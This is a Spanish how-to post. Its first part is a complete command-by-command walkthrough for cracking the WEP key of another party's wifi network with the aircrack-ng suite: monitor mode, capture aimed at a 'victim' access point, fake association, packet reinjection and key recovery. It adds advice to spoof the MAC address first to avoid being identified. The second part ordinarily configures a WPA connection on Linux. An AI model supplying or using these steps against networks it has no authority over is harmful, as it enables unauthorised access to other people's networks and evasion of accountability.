Crack red wifi con cifrado WEP



Detenemos la interfaz de red que vamos a utilizar con el comando ifconfig:

#ifconfig <interfaz de red> down
Ponemos la interfaz en modo monitor:

#airmon-ng start <interfaz de red>

escaneamos las redes a nuestro alcance con airodump-ng

#airodump-ng <interfaz de red>

Una vez elegida una red con cifrado WEP y que tengamos buena señal paramos el airodump-ng anterior e introducimos el comando siguiente:

# airodump-ng -w <archivo de captura> --bssid <MAC del AP> -c <canal del AP victima> <interfaz de red>

Ahora realizamos el ataque al punto de acceso con cifrado WEP utilizando el comando aireplay-ng:

Con este primer comando nos asociamos al AP:

# aireplay-ng -1 10 -e <nombre del AP> -a <MAC del AP> -h <nuestra MAC> <interfaz de red>

Una vez asociado al AP :-) reinyectamos paquetes para que suba el campo #Data en la ventana del airodump-ng

# aireplay-ng -3 -b <MAC del AP> -h <nuestra MAC> <interfaz de red>


Una vez que veamos que en el campo data tenemos unos cuantos pauqtes, mas de 20.000 podemos empezar a intentar conseguir la contraseña con el comando aircrack-ng

# aircrack-ng <archivo de captura>

Es recomendable cambiar antes la mac de nuestra tarjeta wifi, para ello se puede utilizar el macchanger.

#macchanger -m <falsa MAC>

o el comando ifconfig:

#ifconfig eth0 hw ether <falsa MAC>




Nota: WEP significa Wired Equivalent Privacy o "Privacidad Equivalente a Cableado".

Configurar conexion wifi con wpa en Gnu-Linux

Editamos un fichero de configuraciónen /etc/wpa_supplicant/wpa_supplicant.conf especificando el tipo de clave (WPA-PSK), el nombre del SSID y la contraseña:

ctrl_interface=/var/run/wpa_supplicant
network={
ssid="aquinombreredwifi"
key_mgmt=WPA-PSK
psk="aquicontraseña"
}

Para que tenga encuenta la configuracion siempre que arranque el sistema añadiremos añadiremos a /etc/network/interfaces especificando el nombre de la red wifi sin comillas precedido de wpa-ssid y en otra linea wpa-psk y la contraseña tambien sin comillas. *

Wlan0 es la interface wireless. Para comprobar el nombre de tu interface utilizar el comando ifconfig e iwconfig:

auto wlan0
iface wlan0 inet dhcp
wpa-ssid aquinombreredwifi
wpa-psk aquicontraseña